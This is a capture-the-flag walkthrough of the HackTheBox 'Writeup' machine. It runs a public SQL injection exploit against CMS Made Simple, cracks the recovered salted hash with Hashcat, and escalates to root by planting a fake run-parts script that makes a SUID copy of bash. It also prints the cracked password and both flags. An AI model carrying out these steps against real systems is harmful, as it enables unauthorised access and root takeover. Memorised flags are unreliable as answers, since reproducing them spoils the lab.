Security Vault

Writeup

Mar 12, 20256 min read

Metadata

  • Platform: HackTheBox
  • CTF: Writeup
  • OS: Linux
  • Difficulty: Easy

Summary

A custom website hosts a blog over a CSM backend. Using public information, we can derive the services version and find a public exploit of an SQL injection, to extract a user account with the respective password hash. Once we crack it, we can get a foothold via SSH into the system.

The compromised account is part of a user group, which allows us to inject malicious scripts into the root user’s path. Once we identified a path-based binary call from said user, we can grant our user high privileges on a copy of the bash binary, in order to compromise the machine entirely.

Solution

Reconnaissance

Using Nmap, we discover two open ports.

nmap -sC -sV 10.10.10.138 -p- -oN nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-24 13:29 CET
Nmap scan report for 10.10.10.138
Host is up (0.037s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u1 (protocol 2.0)
| ssh-hostkey: 
|   256 37:2e:14:68:ae:b9:c2:34:2b:6e:d9:92:bc:bf:bd:28 (ECDSA)
|_  256 93:ea:a8:40:42:c1:a8:33:85:b3:56:00:62:1c:a0:ab (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Nothing here yet.
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 1 disallowed entry 
|_/writeup/

The scan already hints at the fact, that the web server contains a robots.txt, which disallows the route /writeup. We should probably check that out. But first, let’s visit the main website, which turns out to not give us much information. Due to the email address in the upper text, we can assume that this is the domain, which the box uses. We should therefore add it to out /etc/hosts file. Take note, that this box uses DoS protection, meaning we can not scan for subdirectories.

When we visit /writeup, we are presented with a reference two three HackTheBox write-ups, just like this one. However, when we take a look at the source code, we can find a reference to CMS Made Simple.

<base href="http://10.10.10.138/writeup/" />
<meta name="Generator" content="CMS Made Simple - Copyright (C) 2004-2019. All rights reserved." />
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

Even though we can not see this otherwise, the backend runs this CMS in the background. A quick google search leads us to the official repository for it. There are three things we can discover: First, there is an admin panel on /writeup/admin in the repo. If we check this on the machine, an Apache login prompt appears, to which we don’t have fitting credentials. Second, if we continue our research, we can find that there are no default credentials, which we would be able to use. Lastly, don’t get any information regarding the CMS’s version. However, we can change this by digging through the repository.

User Flag

If we check doc/CHANGELOG.txt in the repo, it contains information about the individual changes for each update. Since this file is part of the repo, it is likely to be present on the target. When we check for this file, it discloses the version 2.2.9.1. We can use this to look for already disclosed vulnerabilities. To our luck, there exists a public exploit, which abuses a SQL injection vulnerability, to extract user accounts and their respective password hashes. Let’s download this exploit and execute it against http://10.10.10.138/writeup.

[+] Salt for password found: 5a599ef579066807
[+] Username found: jkr
[+] Email found: jkr@writeup.htb
[+] Password found: 62def4866937f08cc13bab43bb14e6f7

After a short while, the exploit successfully return a username, a password hash in combination with a salt. We can save this hash as 62def4866937f08cc13bab43bb14e6f7:5a599ef579066807 and use Hashcat to crack the password. After trying both modes for MD5 hashes in combination with a salt (10 & 20), we get a successful hit for the latter.

hashcat hash -m 20 /usr/share/wordlists/rockyou.txt
 
[...]
Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
 
62def4866937f08cc13bab43bb14e6f7:5a599ef579066807:raykayjay9
                                                          
Session..........: hashcat
Status...........: Cracked
[...]

We now have a user with the respective password: jkr:raykayjay9. We can use these credentials for the devices SSH service and log into the system, allowing us to claim the user flag.

452a61236780a620a97eb81be8d973a3

Root Flag

In order to escalate our privileges, we do not have any access to sudo, as this binary does not exist. However, there is something unusual about this user’s identity groups.

id
uid=1000(jkr) gid=1000(jkr) groups=1000(jkr),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),50(staff),103(netdev)

I have not seen the staff group on these boxes before. Research tells us, that there is a way to use it for privilege escalation. According to this article, this group allows us to edit the /usr/local directory. This opens up the way for us to inject a binary into the path of the root user and therefore hijack it. However, we require root to execute a binary from the path and identify its name.

For this we can use a binary, such as Pspy, which we need to transfer to this machine, for example with a python http server. If we run this application, we can not immediately spot the respective path call. This is only possible, if we start a second SSH session. Once we connect, the following call is being made.

2025/02/24 11:39:47 CMD: UID=0     PID=17127  | sshd: [accepted] 
2025/02/24 11:39:47 CMD: UID=0     PID=17128  | sshd: [accepted]  
2025/02/24 11:39:52 CMD: UID=0     PID=17129  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2025/02/24 11:39:52 CMD: UID=0     PID=17130  | sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new 
2025/02/24 11:39:52 CMD: UID=0     PID=17131  | /bin/bash /usr/local/sbin/run-parts --lsbsysinit /etc/update-motd.d

There is a call with UID 0 (the root user) to a binary run-parts, without using an absolute path. In the same call, we can see that the PATH variable starts with /usr/local/sbin, a directory to which we have write access. If we create a malicious strict, call it run-parts, and place it in this directory, it will be executed as root if we start a new SSH session. The easiest way to abuse this, is to create a shell script, which makes a copy of the bash binary as root, and set the SUID bit.

#!/bin/bash
 
cp /bin/bash /tmp
chmod 4777 /tmp/bash

After copying the file into the directory via cp run-parts /usr/local/sbin and restart the SSH session, we can find the binary in question is the /tmp folder. By starting it with the flag -p, we invoke it as root. This results in a high privileged shell, enabling us to claim the root flag.

12f159b0a9fc3d9560a8336cfa0017b2

Graph View

Backlinks